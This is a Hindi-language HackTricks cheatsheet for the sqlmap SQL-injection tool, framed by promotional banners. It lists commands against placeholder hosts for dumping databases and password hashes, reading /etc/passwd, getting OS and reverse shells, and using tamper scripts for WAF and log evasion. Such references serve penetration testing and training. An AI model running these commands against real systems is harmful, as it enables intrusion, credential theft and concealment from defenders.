.. | ||
README.md | ||
second-order-injection-sqlmap.md |
SQLMap - चीटशीट
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- अपनी हैकिंग ट्रिक्स साझा करें, HackTricks HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
DragonJAR Security Conference एक अंतर्राष्ट्रीय साइबर सुरक्षा इवेंट है जो एक दशक से अधिक समय से चल रहा है और 7 और 8 सितंबर 2023 को बोगोटा, कोलंबिया में आयोजित किया जाएगा। यह एक उच्च तकनीकी सामग्री वाला इवेंट है जहां स्पेनिश में नवीनतम अनुसंधान प्रस्तुत किए जाते हैं जो दुनिया भर के हैकर्स और शोधकर्ताओं को आकर्षित करता है।
अभी निम्नलिखित लिंक पर रजिस्टर करें और इस महान सम्मेलन को मिस न करें!:
{% embed url="https://www.dragonjarcon.org/" %}
SQLmap के लिए मूल तर्क
सामान्य
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
जानकारी प्राप्त करें
आंतरिक
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
डीबी डेटा
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
इंजेक्शन स्थान
Burp/ZAP कैप्चर से
रिक्वेस्ट को कैप्चर करें और एक req.txt फाइल बनाएं
sqlmap -r req.txt --current-user
GET अनुरोध इंजेक्शन
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST अनुरोध इंजेक्शन
sqlmap -u "http://example.com" --data "username=*&password=*"
हेडर्स और अन्य HTTP मेथड्स में इंजेक्शन
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
सफल इंजेक्शन होने पर स्ट्रिंग का संकेत
--string="string_showed_when_TRUE"
Eval
Sqlmap -e
या --eval
का उपयोग करके प्रत्येक पेलोड को भेजने से पहले कुछ पायथन वनलाइनर के साथ प्रोसेस करने की अनुमति देता है। यह पेलोड को भेजने से पहले अनुकूलित तरीकों से प्रोसेस करना बहुत आसान और तेज़ बनाता है। निम्नलिखित उदाहरण में flask cookie session ज्ञात सीक्रेट के साथ flask द्वारा हस्ताक्षरित किया जाता है इसे भेजने से पहले:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
शेल
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
फाइल पढ़ें
--file-read=/etc/passwd
SQLmap के साथ वेबसाइट को Crawl करें और स्वत: शोषण करें
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
द्वितीयक्रम इंजेक्शन
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
इस पोस्ट को पढ़ेंजानिए कैसे sqlmap के साथ सरल और जटिल द्वितीयक्रम इंजेक्शन को अंजाम दिया जाता है।
अभ्यास के लिए लैब्स
- THM room में sqlmap का उपयोग करके इसके बारे में जानें:
{% embed url="https://tryhackme.com/room/sqlmap" %}
इंजेक्शन को कस्टमाइज़ करना
एक सफ़िक्स सेट करें
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
उपसर्ग
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
बूलियन इंजेक्शन खोजने में मदद
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
टैम्पर
याद रखें कि आप अपना खुद का टैम्पर पायथन में बना सकते हैं और यह बहुत सरल है। आप Second Order Injection पेज यहाँ पर एक टैम्पर उदाहरण पा सकते हैं।
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | अपोस्ट्रोफी चरित्र को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है |
apostrophenullencode.py | अपोस्ट्रोफी चरित्र को इसके अवैध दोहरे यूनिकोड समकक्ष के साथ बदलता है |
appendnullbyte.py | पेलोड के अंत में एन्कोडेड NULL बाइट चरित्र जोड़ता है |
base64encode.py | दिए गए पेलोड में सभी चरित्रों को Base64 में बदलता है |
between.py | ग्रेटर थान ऑपरेटर ('>') को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
bluecoat.py | SQL स्टेटमेंट के बाद स्पेस चरित्र को एक मान्य यादृच्छिक खाली चरित्र के साथ बदलता है। उसके बाद चरित्र = को LIKE ऑपरेटर के साथ बदलता है |
chardoubleencode.py | दिए गए पेलोड में सभी चरित्रों को दोहरा url-encode करता है (पहले से एन्कोडेड नहीं) |
commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
charencode.py | दिए गए पेलोड में सभी चरित्रों को url-encode करता है (पहले से एन्कोडेड नहीं) |
charunicodeencode.py | दिए गए पेलोड में नॉन-एन्कोडेड चरित्रों को Unicode-url-encode करता है (पहले से एन्कोडेड नहीं)। "%u0022" |
charunicodeescape.py | दिए गए पेलोड में नॉन-एन्कोडेड चरित्रों को Unicode-url-encode करता है (पहले से एन्कोडेड नहीं)। "\u0022" |
equaltolike.py | सभी ऑपरेटर बराबर ('=') के अवसरों को 'LIKE' ऑपरेटर के साथ बदलता है |
escapequotes.py | कोट्स (' और ") को स्लैश एस्केप करता है |
greatest.py | ग्रेटर थान ऑपरेटर ('>') को 'GREATEST' समकक्ष के साथ बदलता है |
halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
ifnull2ifisnull.py | 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
modsecurityversioned.py | पूरी क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
modsecurityzeroversioned.py | पूरी क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
multiplespaces.py | SQL कीवर्ड्स के आसपास मल्टीपल स्पेसेस जोड़ता है |
nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड्स को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्वों के साथ बदलता है (जैसे .replace("SELECT", "")) फिल्टर्स |
percentage.py | प्रत्येक चरित्र के सामने प्रतिशत चिह्न ('%') जोड़ता है |
overlongutf8.py | दिए गए पेलोड में सभी चरित्रों को बदलता है (पहले से एन्कोडेड नहीं) |
randomcase.py | प्रत्येक कीवर्ड चरित्र को यादृच्छिक मामले मूल्य के साथ बदलता है |
randomcomments.py | SQL कीवर्ड्स में यादृच्छिक टिप्पणियाँ जोड़ता है |
securesphere.py | विशेष तैयार की गई स्ट्रिंग जोड़ता है |
sp_password.py | पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग्स से स्वतः छिपाव हो सके |
space2comment.py | स्पेस चरित्र (' ') को टिप्पणियों के साथ बदलता है |
space2dash.py | स्पेस चरित्र (' ') को डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई लाइन ('\n') आती है |
space2hash.py | स्पेस चरित्र (' ') को पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई लाइन ('\n') आती है |
space2morehash.py | स्पेस चरित्र (' ') को पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई लाइन ('\n') आती है |
space2mssqlblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के एक सेट से यादृच्छिक खाली चरित्र के साथ बदलता है |
space2mssqlhash.py | स्पेस चरित्र (' ') को पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक नई लाइन ('\n') आती है |
space2mysqlblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के एक सेट से यादृच्छिक खाली चरित्र के साथ बदलता है |
space2mysqldash.py | स्पेस चरित्र (' ') को डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई लाइन ('\n') आती है |
space2plus.py | स्पेस चरित्र (' ') को प्लस ('+') के साथ बदलता है |
space2randomblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के एक सेट से यादृच्छिक खाली चरित्र के साथ बदलता है |
symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्षों (&& और |
unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
unmagicquotes.py | कोट चरित्र (') को मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ ही सामान्य टिप्पणी के अंत में (इसे काम करने के लिए) |
uppercase.py | प्रत्येक कीवर्ड चरित्र को अपर केस मूल्य 'INSERT' के साथ बदलता है |
varnish.py | HTTP हेडर 'X-originating-IP' जोड़ता है |
versionedkeywords.py | प्रत्येक नॉन-फंक्शन कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
xforwardedfor.py | नकली HTTP हेडर 'X-Forwarded-For' जोड़ता है |
DragonJAR Security Conference एक अंतर्राष्ट्रीय साइबर सुरक्षा इवेंट है जो एक दशक से अधिक समय से चल रहा है और 7 और 8 सितंबर 2023 को बोगोटा, कोलंबिया में आयोजित किया जाएगा। यह एक उच्च तकनीकी सामग्री वाला इवेंट है जहां स्पेनिश में नवीनतम अनुसंधान प्रस्तुत किए जाते हैं जो दुनिया भर के hackers और शोधकर्ताओं को आकर्षित करता है।
अभी निम्नलिखित लिंक पर रजिस्टर करें और इस महान कॉन्फ्रेंस को मिस न करें!:
{% embed url="https://www.dragonjarcon.org/" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.